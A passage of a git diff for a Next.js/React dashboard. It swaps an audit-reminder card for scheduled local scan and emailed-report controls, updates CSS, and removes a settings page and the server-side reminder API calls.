const [intervalDays, setIntervalDays] = useState(7); + const [emailEnabled, setEmailEnabled] = useState(false); + const [busy, setBusy] = useState(false); + const [dialogOpen, setDialogOpen] = useState(false); const [inviteDialogOpen, setInviteDialogOpen] = useState(false); - const [reminderBusy, setReminderBusy] = useState(false); - /** - * WHICH CTA opened the AuthDialog, and therefore what to do once it succeeds. - * - * This used to be tracked only as `authCopy` — the headline and subhead to - * show — while `handleAuthed` unconditionally called `persistReminder`. So the - * dialog knew which button had been pressed for the purpose of its own COPY - * and not for the purpose of its own EFFECT, and the invite path did the - * reminder path's work: a user who clicked "invite a friend", read "Oops! - * Login required", and signed in got a 7-day reminder they never asked for, - * and no invite dialog. Their actual intent was dropped on the floor. - * - * Modelling the intent instead of the copy is what stops that recurring. The - * copy is now DERIVED from it, so the two cannot disagree, and adding a third - * CTA means adding a case here rather than remembering to branch in a handler - * that has no idea it is shared. - */ const [pendingAction, setPendingAction] = useState(null); + const ctaShownRef = useRef(false); - const lastRefreshAtRef = useRef(0); - - const refreshStatus = useCallback(async () => { - lastRefreshAtRef.current = Date.now(); - // Preserve current UI state on transient failures (5xx, network blips). - // Downgrading to anon on every error would clear a valid reminder mid- - // session on a single failed poll, forcing an unnecessary auth prompt. - // Only fall through to anon on the very first probe (still "unknown") - // so the cadence buttons unlock even if the server is unreachable. - const fallbackToAnonOnError = () => { - setAuthStatus((prev) => (prev.kind === "unknown" ? { kind: "anon" } : prev)); - }; + const mounted = useRef(true); + + const reload = useCallback(async () => { try { - const res = await fetch("/api/auth/status", { cache: "no-store" }); - if (!res.ok) { - fallbackToAnonOnError(); - return; - } - const body = (await res.json()) as { - authenticated?: boolean; - user?: { id: string; email: string }; - reminder?: Reminder | null; - }; - if (body.authenticated && body.user) { - setAuthStatus({ kind: "authed", user: body.user }); - setReminder(body.reminder ?? null); - } else { - setAuthStatus({ kind: "anon" }); - setReminder(null); - } + const next = await getScheduledAuditAction(); + if (!mounted.current) return; + setView(next); + setAuto(next.auto); + setIntervalDays(next.intervalDays); + setEmailEnabled(next.emailEnabled); } catch { - fallbackToAnonOnError(); + // Leave whatever is on screen. A failed refresh must not blank controls + // that are describing real machine state. } }, []); useEffect(() => { - void refreshStatus(); - const REFRESH_MIN_INTERVAL_MS = 5_000; - const maybeRefresh = () => { - if (Date.now() - lastRefreshAtRef.current < REFRESH_MIN_INTERVAL_MS) return; - void refreshStatus(); - }; - const onFocus = () => maybeRefresh(); - const onVisibility = () => { - if (document.visibilityState === "visible") maybeRefresh(); - }; - window.addEventListener("focus", onFocus); - document.addEventListener("visibilitychange", onVisibility); + mounted.current = true; + void reload(); return () => { - window.removeEventListener("focus", onFocus); - document.removeEventListener("visibilitychange", onVisibility); + mounted.current = false; }; - }, [refreshStatus]); + }, [reload]); useEffect(() => { - if (ctaShownRef.current) return; - if (authStatus.kind === "unknown") return; + if (ctaShownRef.current || !view) return; ctaShownRef.current = true; - capture("audit_reminder_cta_shown", { - auth_state: authStatus.kind, - has_existing_reminder: reminder !== null, - source: "come_back_better_section", + capture("audit_return_section_shown", { + auto: view.auto, + email_enabled: view.emailEnabled, + signed_in: view.signedInAs !== null, + daemon: view.daemon, }); - }, [authStatus, capture, reminder]); + }, [capture, view]); + + const signedIn = view?.signedInAs ?? null; + const loading = view === null; + + // ── scheduled scanning ───────────────────────────────────────────────────── + + const onToggleAuto = useCallback(async () => { + const next = !auto; + setAuto(next); // optimistic + setBusy(true); + try { + const res = await setAutoAuditAction(next); + setAuto(res.auto); + capture("audit_auto_toggled", { enabled: res.auto }); + toast(res.auto ? "scanning this machine on a schedule." : "scheduled scanning off."); + await reload(); + } catch { + setAuto(!next); // revert + toast("could not save that."); + } finally { + setBusy(false); + } + }, [auto, capture, reload]); - const persistReminder = useCallback( - async (inDays: number): Promise => { - const controller = new AbortController(); - const timer = setTimeout(() => controller.abort(), 10_000); + const commitInterval = useCallback( + async (raw: number) => { + setBusy(true); try { - setReminderBusy(true); - const res = await fetch("/api/auth/reminder", { - method: "POST", - headers: { "content-type": "application/json" }, - body: JSON.stringify({ in_days: inDays }), - signal: controller.signal, - }); - if (!res.ok) { - if (res.status === 401) { - setAuthStatus({ kind: "anon" }); - setReminder(null); - } - capture("audit_reminder_saved", { - status: `http_${res.status}`, - source: "come_back_better_section", - cadence_days: inDays, - }); - return null; - } - const body = (await res.json()) as { reminder?: Reminder }; - capture("audit_reminder_saved", { - status: body.reminder ? "success" : "empty", - source: "come_back_better_section", - cadence_days: inDays, - }); - return body.reminder ?? null; - } catch (err) { - const kind = isAbortError(err) ? "timeout" : "error"; - capture("audit_reminder_saved", { - status: kind, - source: "come_back_better_section", - cadence_days: inDays, - }); - return null; + // The config owns the 1..90 clamp; reflect whatever it stored rather + // than a second copy of the bounds that can drift. + const res = await setAuditIntervalAction(raw); + setIntervalDays(res.intervalDays); + toast(`scanning every ${res.intervalDays} day${res.intervalDays === 1 ? "" : "s"}.`); + } catch { + setIntervalDays(view?.intervalDays ?? 7); + toast("could not save that."); } finally { - clearTimeout(timer); - setReminderBusy(false); + setBusy(false); } }, - [capture], + [view?.intervalDays], ); - const handleCadenceClick = useCallback( - async (next: Cadence) => { - setCadence(next); - capture("audit_reminder_cta_clicked", { - auth_state: authStatus.kind, - has_existing_reminder: reminder !== null, - cadence_days: next, - source: "come_back_better_section", - }); - if (authStatus.kind === "authed") { - const saved = await persistReminder(next); - if (saved) setReminder(saved); - return; - } - if (authStatus.kind === "anon") { - setPendingAction({ kind: "reminder", cadence: next }); - setDialogOpen(true); + // ── emailed reports ──────────────────────────────────────────────────────── + + const enableEmail = useCallback(async () => { + setBusy(true); + try { + const res = await setAuditEmailAction(true); + setEmailEnabled(res.emailEnabled); + capture("audit_email_reports_toggled", { enabled: true }); + toast("we'll email you when a scan finds something."); + await reload(); + } catch { + setEmailEnabled(false); + toast("could not turn that on."); + } finally { + setBusy(false); + } + }, [capture, reload]); + + const onToggleEmail = useCallback(async () => { + if (emailEnabled) { + setBusy(true); + try { + const res = await setAuditEmailAction(false); + setEmailEnabled(res.emailEnabled); + capture("audit_email_reports_toggled", { enabled: false }); + toast("emailed reports off."); + await reload(); + } catch { + toast("could not turn that off."); + } finally { + setBusy(false); } - }, - [authStatus, capture, persistReminder, reminder], - ); + return; + } + // Turning it ON needs somewhere to send to. Sign in first, then resume — + // the server action refuses an anonymous enable rather than storing a + // switch that reads as on and does nothing. + if (!signedIn) { + setPendingAction({ kind: "email-optin" }); + setDialogOpen(true); + return; + } + await enableEmail(); + }, [capture, emailEnabled, enableEmail, reload, signedIn]); + + const onSignOut = useCallback(async () => { + setBusy(true); + try { + await fetch("/api/auth/logout", { method: "POST" }); + // Signing out takes emailed reports with it. Leaving the switch on would + // leave a machine that scans, finds something, and has nothing to send it + // with — visible only by noticing that no email ever arrives. + await setAuditEmailAction(false).catch(() => {}); + toast("signed out."); + await reload(); + } catch { + toast("could not sign out."); + } finally { + setBusy(false); + } + }, [reload]); + + // ── invite ───────────────────────────────────────────────────────────────── + + const handleInvite = useCallback(() => { + capture("audit_perks_invite_clicked", { signed_in: signedIn !== null }); + // Unauthed users sign in first so the invite has a sender to Cc — and + // `pendingAction` is what brings them back HERE afterwards. + if (!signedIn) { + setPendingAction({ kind: "invite" }); + setDialogOpen(true); + return; + } + setInviteDialogOpen(true); + }, [capture, signedIn]); - /** - * Resume whatever the user was doing before they were asked to sign in. - * - * Reads `pendingAction` rather than assuming. Assuming is what it did before, - * and because the reminder CTA happened to be written first, "assume" meant - * "set a reminder" for every caller — including the invite button, which - * wanted something else entirely and got nothing. - * - * The cadence is carried IN the action rather than read from `cadence` state, - * so the reminder that lands is the one whose button was actually pressed, - * even if something re-rendered in between. - */ + /** Resume whatever the user was doing before they were asked to sign in. */ const handleAuthed = useCallback( async (user: AuthedUser) => { - setAuthStatus({ kind: "authed", user }); const action = pendingAction; - capture("audit_auth_completed", { - source: "come_back_better_section", - pending_action: action?.kind ?? "none", - }); + capture("audit_auth_completed", { pending_action: action?.kind ?? "none" }); setPendingAction(null); + await reload(); - if (action?.kind === "reminder") { - const saved = await persistReminder(action.cadence); - if (saved) setReminder(saved); - return; - } if (action?.kind === "invite") { setInviteDialogOpen(true); + return; } - // No pending action: the dialog was dismissed and reopened, or opened by - // something that wants nothing but the sign-in. Doing nothing is correct - // — it is the case the old code had no way to express. + if (action?.kind === "email-optin") { + await enableEmail(); + } + // No pending action: the dialog was dismissed and reopened, or opened for + // the sign-in alone. Doing nothing is correct. + void user; }, - [capture, pendingAction, persistReminder], + [capture, enableEmail, pendingAction, reload], ); - const handleInvite = useCallback(() => { - capture("audit_perks_invite_clicked", { - source: "come_back_better_section", - auth_state: authStatus.kind, - }); - // Unauthed users go through the AuthDialog first so we have a sender - // identity to Cc on the invite email — and `pendingAction` is what brings - // them back HERE afterwards instead of somewhere else. - if (authStatus.kind !== "authed") { - setPendingAction({ kind: "invite" }); - setDialogOpen(true); - return; - } - setInviteDialogOpen(true); - }, [authStatus.kind, capture]); + // ── derived status ───────────────────────────────────────────────────────── - const handleRerunInline = useCallback(() => { - if (isRunning) return; - onRerun(); - }, [isRunning, onRerun]); - - const days = reminder ? daysUntil(reminder.next_audit_at) : 0; + const daemonRunning = view?.daemon === "running"; + const daemonUnsupported = view?.daemon === "unsupported-platform"; + const sched = view?.schedule ?? null; + const lastExitBad = + sched?.lastExitCode != null && sched.lastExitCode !== 0 && sched.lastExitCode !== 75; return (
- - 05{"// come back better"} - +
+ 05 come back better +

build the habit

- {/* Reminder card */} -
-
set a reminder
-
- {reminder - ? `next audit set for ${formatNextAudit(reminder.next_audit_at)} · in ${days} day${days === 1 ? "" : "s"}.` - : "we'll nudge you when your next audit is due. pick the cadence:"} + {/* ── Scheduled audit ── */} +
+
+
+
Scheduled audit
+
scan this machine on a timer, in the background.
+
+ {view && ( + + {daemonRunning + ? "DAEMON RUNNING" + : daemonUnsupported + ? "UNSUPPORTED" + : view.daemon === "not-installed" + ? "NOT INSTALLED" + : "DAEMON STOPPED"} + + )} +
+ +
+ void onToggleAuto()} + label={auto ? "turn off scheduled scanning" : "turn on scheduled scanning"} + /> + {auto ? "scanning this machine on a schedule." : "scan this machine on a schedule."}
-
- {REMINDER_OPTIONS.map((d) => ( + +
+ scan every + setIntervalDays(Number(e.target.value))} + onBlur={(e) => { + const v = Number(e.target.value); + if (!Number.isFinite(v)) { + setIntervalDays(view?.intervalDays ?? 7); + return; + } + if (v !== view?.intervalDays) void commitInterval(v); + }} + /> + days. + + {MIN_INTERVAL_DAYS}–{MAX_INTERVAL_DAYS} + +
+ +
+ void onToggleEmail()} + label={emailEnabled ? "turn off emailed reports" : "turn on emailed reports"} + /> + email me when a scan finds something harmful. +
+ + {signedIn ? ( +
+ signed in as{" "} + {signedIn.email} - ))} +
+ ) : ( + emailEnabled && ( + // The state the reporter surfaces as "signed out": the switch is + // on, the scans keep running, and nothing can be sent. +
+ emailed reports are on but this machine is signed out — sign in to resume them. +
+ ) + )} + + {auto && view && !daemonRunning && ( +
+ {daemonUnsupported + ? "the background daemon isn't available on this platform, so scheduled scans can't run here." + : view.daemon === "not-installed" + ? "scheduled scanning is on, but the background service isn't installed. run `failproofai config`." + : "scheduled scanning is on, but the background service is stopped. run `failproofai config`."} +
+ )} + +
+
+ last audit result:{" "} + {view?.lastResultAt ? ( + {fmtAbsolute(view.lastResultAt)} + ) : ( + none yet + )} +
+ {auto && sched?.nextDueAtMs != null && ( +
+ next scheduled scan:{" "} + {fmtFuture(sched.nextDueAtMs)} +
+ )} + {sched?.lastRunAtMs != null && ( +
+ last scheduled scan:{" "} + {formatRelativeTime(sched.lastRunAtMs)} + {lastExitBad && (exit {sched.lastExitCode})} +
+ )} +
-
- {/* Perks card */} + {/* ── Share ── */}
Share with friends
{PERKS_PERK}
@@ -363,20 +482,23 @@ export function ComeBackBetterSection({ isRunning, onRerun, score }: Props) {
+
+ {"// the scan reads every session transcript on disk across all installed agent CLIs. runs entirely on this machine — nothing is sent anywhere unless emailed reports are on, and then only counts and redacted examples."} +
+ setInviteDialogOpen(false)} onUnauthorized={() => { - // Session expired between probe and submit — flip back to anon and - // bounce through the AuthDialog so the user re-auths. Still the invite - // intent, so re-authing reopens THIS dialog rather than dropping them - // back on the page having achieved nothing. - setAuthStatus({ kind: "anon" }); - setReminder(null); + // Session expired between probe and submit. Still the invite intent, + // so re-authing reopens THIS dialog rather than dropping them back on + // the page having achieved nothing. + setInviteDialogOpen(false); setPendingAction({ kind: "invite" }); setDialogOpen(true); + void reload(); }} /> @@ -386,9 +508,8 @@ export function ComeBackBetterSection({ isRunning, onRerun, score }: Props) { headline={authCopyFor(pendingAction).headline} subhead={authCopyFor(pendingAction).subhead} onClose={() => { - // Dismissing is abandoning the intent. Leaving it set would make the - // NEXT sign-in — from any other CTA — resume something the user - // walked away from. + // Dismissing abandons the intent. Leaving it set would make the NEXT + // sign-in, from any CTA, resume something the user walked away from. setPendingAction(null); setDialogOpen(false); }} diff --git a/app/audit/audit-styles.css b/app/audit/audit-styles.css index 9d084353..86fd4c1b 100644 --- a/app/audit/audit-styles.css +++ b/app/audit/audit-styles.css @@ -904,8 +904,12 @@ ============================================================ */ .cbb-grid { display: grid; - grid-template-columns: 1fr 1fr; + grid-template-columns: minmax(0, 1.3fr) minmax(0, 1fr); gap: 14px; + align-items: stretch; +} +@media (max-width: 720px) { + .cbb-grid { grid-template-columns: 1fr; } } .cbb-card { border: 1px solid var(--line-2); @@ -927,42 +931,150 @@ line-height: 1.55; } -.cadence-row { display: flex; gap: 8px; flex-wrap: wrap; margin-top: 2px; } -.cadence-btn { +/* ── Section 05: scheduled audit panel ─────────────────────────────────────── + The mock puts the scan controls at 1.3fr against the share card's 1fr, with + a pink rail on the panel that acts. Colours are the design-system tokens the + rest of the app already uses (--accent-pink #e4587c, --accent-green #66d1b5); + the mock's #ff2d78 / #35d07f were approximations of them. */ +.cbb-card-primary { + border-left: 2px solid var(--accent-pink); +} +.cbb-card-head { + display: flex; + align-items: flex-start; + justify-content: space-between; + gap: 10px; + flex-wrap: wrap; +} +.cbb-pill { font-family: var(--font-mono); - font-size: 11px; - letter-spacing: 0.04em; + font-size: 9.5px; + letter-spacing: 0.1em; + padding: 4px 8px; + white-space: nowrap; border: 1px solid var(--line-2); - background: transparent; + color: var(--dim); +} +.cbb-pill.on { + border-color: var(--accent-green-shadow); + color: var(--accent-green); +} + +.cbb-row { + display: flex; + align-items: center; + gap: 10px; + font-family: var(--font-mono); + font-size: 12px; color: var(--ink); - padding: 6px 12px; + line-height: 1.5; +} +.cbb-row-interval { gap: 9px; flex-wrap: wrap; } +.cbb-muted { color: var(--ink-2); } +.cbb-hint { color: var(--dim); font-size: 10.5px; } +.cbb-strong { color: var(--ink); } + +.cbb-num { + font-family: var(--font-mono); + font-size: 12px; + width: 58px; + padding: 5px 10px; + background: var(--bg); + border: 1px solid var(--line-2); + color: var(--ink); + border-radius: 0; +} +.cbb-num:focus-visible { + outline: 2px solid var(--accent-pink); + outline-offset: 1px; +} + +/* The switch /policies uses — copied shape, not a new control. */ +.cbb-toggle { + position: relative; + flex: none; + width: 34px; + height: 18px; + border-radius: 9px; + border: none; + background: var(--line-2); cursor: pointer; - transition: border-color 140ms ease, color 140ms ease, background-color 140ms ease; + padding: 0; + transition: background 120ms ease; } -.cadence-btn:hover { - border-color: var(--accent-pink); - color: var(--accent-pink); +.cbb-toggle[data-on="true"] { background: var(--accent-pink); } +.cbb-toggle:disabled { opacity: 0.5; cursor: not-allowed; } +.cbb-toggle:focus-visible { outline: 2px solid var(--accent-pink); outline-offset: 2px; } +.cbb-toggle-knob { + position: absolute; + top: 2px; + left: 2px; + width: 14px; + height: 14px; + border-radius: 50%; + background: var(--bg); + transition: transform 120ms ease; } -.cadence-btn.on { - border-color: var(--accent-pink); - background: var(--accent-pink-bg); +.cbb-toggle[data-on="true"] .cbb-toggle-knob { transform: translateX(16px); } + +.cbb-identity { + font-family: var(--font-mono); + font-size: 11px; + color: var(--ink-2); + display: flex; + align-items: baseline; + gap: 8px; + flex-wrap: wrap; +} +.cbb-email { color: var(--accent-green); } +.cbb-link-inline { + font-size: 11px; + color: var(--dim); + text-decoration: underline; + text-underline-offset: 2px; +} +.cbb-link-inline:hover { color: var(--ink); } + +.cbb-warn { + font-family: var(--font-mono); + font-size: 11px; + line-height: 1.6; color: var(--accent-pink); } -.cadence-btn:disabled { opacity: 0.5; cursor: not-allowed; } +.cbb-warn-inline { color: var(--accent-pink); } -.cbb-link { - align-self: flex-start; - background: transparent; - border: none; - color: var(--accent-green); +.cbb-foot-block { + border-top: 1px dashed var(--line); + padding-top: 12px; + margin-top: auto; + display: flex; + flex-direction: column; + gap: 6px; font-family: var(--font-mono); font-size: 11px; - letter-spacing: 0.04em; +} +.cbb-run-btn { + margin-top: 6px; + font-family: var(--font-mono); + font-size: 12px; + text-align: center; + padding: 8px 12px; + border: 1px solid var(--line-2); + background: transparent; + color: var(--ink); cursor: pointer; - padding: 0; } -.cbb-link:hover { color: var(--accent-pink); } -.cbb-link:disabled { opacity: 0.55; cursor: wait; } +.cbb-run-btn:hover:not(:disabled) { border-color: var(--accent-pink); color: var(--accent-pink); } +.cbb-run-btn:disabled { opacity: 0.5; cursor: not-allowed; } +.cbb-run-btn:focus-visible { outline: 2px solid var(--accent-pink); outline-offset: 2px; } + +.cbb-note { + font-family: var(--font-mono); + font-size: 10.5px; + color: var(--dim); + line-height: 1.55; + margin-top: 14px; +} .perks-progress { height: 6px; diff --git a/app/settings/page.tsx b/app/settings/page.tsx deleted file mode 100644 index a157b2bd..00000000 --- a/app/settings/page.tsx +++ /dev/null @@ -1,31 +0,0 @@ -/** - * /settings — one page, sections. The single home for the machine-level - * controls the design plan collected here: the scheduled local audit and - * emailed audit reports. - * - * Deliberately NOT a home for telemetry: the product decision is that telemetry - * is documented but not advertised in-product, so there is no telemetry control - * or status on this page. `config.toml` plus the docs are the whole story. - * - * Thin server wrapper (Suspense boundary + the disabled-pages gate every route - * uses); all the reads/writes live in the client and its server actions. - */ -import { Suspense } from "react"; -import { notFound } from "next/navigation"; -import SettingsClient from "./settings-client"; - -export const dynamic = "force-dynamic"; - -export default async function SettingsPage() { - const disabled = (process.env.FAILPROOFAI_DISABLE_PAGES ?? "") - .split(",") - .map((s) => s.trim()) - .filter(Boolean); - if (disabled.includes("settings")) notFound(); - - return ( - - - - ); -} diff --git a/app/settings/settings-client.tsx b/app/settings/settings-client.tsx deleted file mode 100644 index 48ea6f6e..00000000 --- a/app/settings/settings-client.tsx +++ /dev/null @@ -1,487 +0,0 @@ -"use client"; - -/** - * /settings client — two sections (scheduled audit, email reports) plus the - * degraded states that are most of the real screens: daemon not installed / - * stopped / unsupported, no scan ever run, a scan running now, a last run that - * failed, signed out, and not cloud-enrolled. Each is shown explicitly, because - * a missing control reads as a bug. - * - * Visual conventions are the site chrome's, matched to /policies: the brutalist - * `.report`/`.section`/`.panel`/`.btn` classes from globals.css, the same - * emerald switch /policies uses (PolicyToggle), inline `var(--…)` colours, and - * the shared `toast()`. No new design language, colour, or component library. - * - * All writes go through server actions that call `updateConfig` — never a raw - * file write — so the CLI and dashboard cannot diverge. The parity mapping is - * documented on each action module. - */ - -import { useCallback, useEffect, useRef, useState } from "react"; -import { getScheduledAuditAction, type ScheduledAuditView } from "@/app/actions/get-scheduled-audit"; -import { setAutoAuditAction, setAuditIntervalAction } from "@/app/actions/update-scheduled-audit"; -import { triggerRun, RerunError } from "@/app/audit/_components/rerun-button"; -import { toast } from "@/app/components/toast"; -import { fetchWithTimeout } from "@/lib/fetch-with-timeout"; -import { formatRelativeTime } from "@/lib/format-duration"; - -// ── formatting helpers ─────────────────────────────────────────────────────── - -function fmtAbsolute(ms: number): string { - return new Date(ms).toLocaleString(undefined, { - month: "short", - day: "numeric", - hour: "2-digit", - minute: "2-digit", - }); -} - -/** "in 6d" / "in 3h" / "in 12m" / "now". formatRelativeTime only speaks past. */ -function fmtFuture(ms: number): string { - const diff = ms - Date.now(); - if (diff <= 0) return "now"; - if (diff < 3_600_000) return `in ${Math.max(1, Math.floor(diff / 60_000))}m`; - if (diff < 86_400_000) return `in ${Math.floor(diff / 3_600_000)}h`; - return `in ${Math.floor(diff / 86_400_000)}d`; -} - -// ── shared primitives (match /policies) ────────────────────────────────────── - -/** The exact switch /policies uses — copied shape, not a new control. */ -function Toggle({ - enabled, - onChange, - disabled, - label, -}: { - enabled: boolean; - onChange: () => void; - disabled?: boolean; - label: string; -}) { - return ( - - ); -} - -type PillTone = "ok" | "warn" | "bad" | "muted"; -const PILL_TONE: Record = { - ok: { fg: "var(--accent-green)", bg: "rgba(102,209,181,0.10)", bd: "rgba(102,209,181,0.30)" }, - warn: { fg: "var(--amber)", bg: "rgba(232,196,106,0.10)", bd: "rgba(232,196,106,0.30)" }, - bad: { fg: "var(--accent-pink)", bg: "rgba(228,88,124,0.10)", bd: "rgba(228,88,124,0.30)" }, - muted: { fg: "var(--ink-2)", bg: "transparent", bd: "var(--line-2)" }, -}; - -function Pill({ tone, children }: { tone: PillTone; children: React.ReactNode }) { - const t = PILL_TONE[tone]; - return ( - - {children} - - ); -} - -const SECTION_TITLE: React.CSSProperties = { - fontFamily: "var(--font-mono)", - fontSize: 16, - fontWeight: 600, - letterSpacing: "-0.01em", - color: "var(--ink)", - margin: "0 0 4px", -}; -const BODY: React.CSSProperties = { - fontFamily: "var(--font-mono)", - fontSize: 13, - color: "var(--ink-2)", - lineHeight: 1.65, - margin: 0, -}; -const MUTED: React.CSSProperties = { ...BODY, color: "var(--dim)", fontSize: 12 }; -const CODE: React.CSSProperties = { color: "var(--ink)", fontVariantLigatures: "none" }; - -/** A monospace inline command the user can copy by eye. */ -function Cmd({ children }: { children: React.ReactNode }) { - return ( - - {children} - - ); -} - -// ── scheduled audit section ────────────────────────────────────────────────── - -function ScheduledAuditSection({ - view, - onReload, -}: { - view: ScheduledAuditView; - onReload: () => Promise; -}) { - const [auto, setAuto] = useState(view.auto); - const [interval, setIntervalDays] = useState(view.intervalDays); - const [savingAuto, setSavingAuto] = useState(false); - const [savingInterval, setSavingInterval] = useState(false); - const [running, setRunning] = useState(false); - const [runningNow, setRunningNow] = useState(false); - - // Keep local state honest if a background reload brought new server truth - // (e.g. someone toggled via CLI, or the interval clamp changed the value). - useEffect(() => setAuto(view.auto), [view.auto]); - useEffect(() => setIntervalDays(view.intervalDays), [view.intervalDays]); - - // Reflect a scan already in flight (started here or from /audit) so the button - // and status line don't claim the machine is idle when it isn't. - useEffect(() => { - let cancelled = false; - (async () => { - try { - const res = await fetchWithTimeout("/api/audit/status", { cache: "no-store" }); - if (res.ok && !cancelled) { - const s = (await res.json()) as { running?: boolean }; - setRunning(Boolean(s.running)); - } - } catch { - /* status is best-effort; a missing poll just means we assume idle */ - } - })(); - return () => { - cancelled = true; - }; - }, []); - - const daemonInactive = view.daemon !== "running"; - const daemonUnsupported = view.daemon === "unsupported-platform"; - - const onToggleAuto = useCallback(async () => { - const next = !auto; - setAuto(next); // optimistic - setSavingAuto(true); - try { - const res = await setAutoAuditAction(next); - setAuto(res.auto); - toast(res.auto ? "Scheduled scanning on." : "Scheduled scanning off."); - await onReload(); - } catch { - setAuto(!next); // revert - toast("Could not save that."); - } finally { - setSavingAuto(false); - } - }, [auto, onReload]); - - const commitInterval = useCallback( - async (raw: number) => { - setSavingInterval(true); - try { - // The config owns the 1..90 clamp; we reflect whatever it stored. - const res = await setAuditIntervalAction(raw); - setIntervalDays(res.intervalDays); - toast(`Scanning every ${res.intervalDays} day${res.intervalDays === 1 ? "" : "s"}.`); - } catch { - setIntervalDays(view.intervalDays); - toast("Could not save that."); - } finally { - setSavingInterval(false); - } - }, - [view.intervalDays], - ); - - const onRunNow = useCallback(async () => { - if (runningNow || running) return; - setRunningNow(true); - setRunning(true); - try { - await triggerRun({ cli: [], since: "all", noCache: false }); - toast("Audit complete."); - await onReload(); - } catch (err) { - const msg = - err instanceof RerunError && err.kind === "timeout" - ? "The scan is taking a while — it will finish in the background." - : "The scan could not be completed."; - toast(msg); - } finally { - setRunningNow(false); - setRunning(false); - } - }, [runningNow, running, onReload]); - - const sched = view.schedule; - const lastExitBad = - sched?.lastExitCode != null && sched.lastExitCode !== 0 && sched.lastExitCode !== 75; - - return ( -
-
-
-

Scheduled audit

-

Scan this machine on a timer, in the background.

-
-
- {view.daemon === "running" && daemon running} - {view.daemon === "stopped" && daemon stopped} - {view.daemon === "not-installed" && daemon not installed} - {view.daemon === "unsupported-platform" && daemon unavailable} -
-
- - {/* Enable toggle + the plain statement about what the scan reads. */} -
-
- -
-
-

- {auto ? "Scanning this machine on a schedule." : "Scan this machine on a schedule."} -

-

- The scan reads the contents of every session transcript on - disk across all installed agent CLIs — your prompts, the files they read and wrote, - and command output. It runs entirely on this machine. Nothing is sent anywhere unless - you also turn on emailed reports below. -

-
-
- - {/* Interval. The number bounds mirror the config's own 1..90 clamp as a UX - hint; the config remains the authority and we reflect what it stored. */} -
- - setIntervalDays(Number(e.target.value))} - onBlur={(e) => { - const v = Number(e.target.value); - // A cleared/garbage field must not persist NaN — snap back to the - // stored value and let the config keep owning the real bounds. - if (!Number.isFinite(v)) { - setIntervalDays(view.intervalDays); - return; - } - if (v !== view.intervalDays) void commitInterval(v); - }} - style={{ - width: 64, - padding: "6px 8px", - background: "var(--bg)", - border: "1px solid var(--line-2)", - color: "var(--ink)", - fontFamily: "var(--font-mono)", - fontSize: 13, - textAlign: "center", - }} - /> - day{interval === 1 ? "" : "s"}. - 1–90; the config keeps it in range. -
- - {/* Last run / next due — read from the daemon-written schedule file. */} -
- {running && ( -

A scan is running now…

- )} - - {/* Last run */} - {sched?.lastRunAtMs != null ? ( -

- Last scheduled scan:{" "} - {fmtAbsolute(sched.lastRunAtMs)}{" "} - ({formatRelativeTime(sched.lastRunAtMs)}) -

- ) : view.lastResultAt ? ( -

- Last audit result:{" "} - {fmtAbsolute(new Date(view.lastResultAt).getTime())}{" "} - (no scheduled scan has run yet) -

- ) : ( -

No scan has run yet.

- )} - - {/* Next due */} - {auto ? ( - sched?.nextDueAtMs != null ? ( -

- Next scan due:{" "} - {fmtAbsolute(sched.nextDueAtMs)}{" "} - ({fmtFuture(sched.nextDueAtMs)}) -

- ) : ( -

- Next scan:{" "} - the daemon will schedule it shortly. -

- ) - ) : ( -

Scheduled scanning is off — no scan is scheduled.

- )} - - {lastExitBad && ( -

- The last scheduled scan exited with code {sched?.lastExitCode}. It will retry on the - next tick. -

- )} - {sched?.schemaAhead && ( -

- A newer daemon wrote this schedule; some fields may not be shown. -

- )} -
- - {/* Degraded daemon guidance — say plainly why "on" may still not run. */} - {auto && daemonInactive && ( -

- {daemonUnsupported ? ( - <>The background daemon isn't available on this platform, so scheduled scans - can't run here. You can still run one now, and use the audit page. - ) : view.daemon === "not-installed" ? ( - <>Scheduled scanning is on, but the background service isn't installed, so nothing - will run on the timer yet. Install it with failproofai config. - ) : ( - <>Scheduled scanning is on, but the background service is stopped, so nothing will run - until it starts. Reinstall or repair it with failproofai config. - )} -

- )} - - {/* Run now — reuses the existing /api/audit/run route via triggerRun. */} -
- -
-
- ); -} - -// ── page ───────────────────────────────────────────────────────────────────── - -export default function SettingsClient() { - const [scheduled, setScheduled] = useState(null); - const [loading, setLoading] = useState(true); - const [error, setError] = useState(false); - const mounted = useRef(true); - - const reload = useCallback(async () => { - const s = await getScheduledAuditAction(); - if (!mounted.current) return; - setScheduled(s); - }, []); - - useEffect(() => { - mounted.current = true; - (async () => { - try { - await reload(); - } catch { - if (mounted.current) setError(true); - } finally { - if (mounted.current) setLoading(false); - } - })(); - return () => { - mounted.current = false; - }; - }, [reload]); - - return ( -
-
-

- Settings -

-

- Machine-level controls for scheduled scanning and emailed reports. -

- - {loading ? ( -

Loading…

- ) : error || !scheduled ? ( -

- Could not load settings. Refresh to try again. -

- ) : ( - - )} -
-
- ); -} diff --git a/components/navbar.tsx b/components/navbar.tsx index 32a7fa33..eeeea097 100644 --- a/components/navbar.tsx +++ b/components/navbar.tsx @@ -19,7 +19,6 @@ const NAV_LINKS = [ { href: "/projects", label: "projects" }, { href: "/policies", label: "policies" }, { href: "/audit", label: "audit" }, - { href: "/settings", label: "settings" }, ]; const REMOTE_LOGO_URL = @@ -60,7 +59,6 @@ export const Navbar: React.FC<{ const sectionLabel = (() => { if (pathname.startsWith("/policies")) return "policies"; if (pathname.startsWith("/audit")) return "audit"; - if (pathname.startsWith("/settings")) return "settings"; if (pathname.startsWith("/projects") || pathname.startsWith("/project/")) return "projects"; return ""; })(); diff --git a/lib/auth/api-server-client.ts b/lib/auth/api-server-client.ts index 7546c5ad..a15b435c 100644 --- a/lib/auth/api-server-client.ts +++ b/lib/auth/api-server-client.ts @@ -107,7 +107,7 @@ async function parseError(res: Response): Promise { return new AuthApiError(res.status, code, message, retryAfterSecs); } -/** Hard cap on every auth/reminder HTTP call. Without this, a wedged DNS +/** Hard cap on every auth/report HTTP call. Without this, a wedged DNS * resolver or a hung server keeps the CLI / dashboard route stuck forever. */ const REQUEST_TIMEOUT_MS = 10_000; @@ -210,34 +210,6 @@ export async function fetchMe(accessToken: string): Promise { return getJson("/v0/auth/me", accessToken); } -export interface ServerReminder { - user_id: string; - email: string; - fire_at: number; // unix seconds - set_at: number; // unix seconds -} - -export async function scheduleReminder( - accessToken: string, - body: { in_days?: number; at?: number }, -): Promise { - const res = await postJson<{ reminder: ServerReminder }>( - "/v0/reminders", - body, - { accessToken }, - ); - return res.reminder; -} - -export async function cancelReminder(accessToken: string): Promise { - const res = await fetchWithTimeout(`${getApiBase()}/v0/reminders`, { - method: "DELETE", - headers: { authorization: `Bearer ${accessToken}` }, 